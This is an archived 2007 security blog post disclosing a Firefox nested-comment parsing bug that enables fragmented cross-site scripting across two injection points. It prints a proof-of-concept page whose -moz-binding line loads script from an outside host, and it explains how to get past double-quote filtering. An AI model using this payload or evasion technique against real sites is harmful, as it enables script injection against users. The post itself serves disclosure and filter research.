Firefox nested comment fragmented XSS
Following on from a post on sla.ckers it emerges that Firefox has a vulnerability/bug that is very difficult to filter against and allows a fragmented XSS attack.
This is best illustrated by the following example:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>test</title>
</head>
<body>
<!-- This is the first injection point: -- -->
<a href="This is the second injection point: --evadefilter>
<b style=-moz-binding:url('http://www.md5-db.com/STXSS_XBL.xml#loader') />
<a href=test ">link</a>
</body>
</html>The conditions for the XSS working are 2 injection points. Injection point 1 must be inside an HTML comment whilst injection point 2 is inside a double quoted attributed. Here is the above markup replaced to illustrate this:
<!-- This is the first injection point: HERE -->
<a href="This is the second injection point: HERE">If the first injection point is given as "--" (no quotes) then a nested comment is begun. Injection point 2 should contain --> or --ANYTHING> (which is rendered as a valid comment closing tag in Firefox) to close the comment. At this point the input is being written directly into the document rather than inside the attribute - and all without using the " character which is likely to be filtered.
Thanks to tx and thornmaker at sla.ckers for work on this!
Firefox nested comment fragmented XSS was originally published by Martin Paul Eve at eve.gd: Martin Paul Eve on June 13, 2007.
Files
10.59348_3489e-gnp37.pdf
Files
(111.0 kB)
| Name | Size | Download all |
|---|---|---|
|
md5:0c9276d66d983ecfd0bac8110c6e293f
|
111.0 kB | Preview Download |
Additional details
Description
Identifiers
- GUID
- https://doi.org/10.59348/3489e-gnp37
- URL
- https://eve.gd/2007/06/13/firefox-nested-comment-fragmented-xss/
Dates
- Issued
-
2007-06-13T00:00:00Z
- Updated
-
2007-06-13T11:29:53Z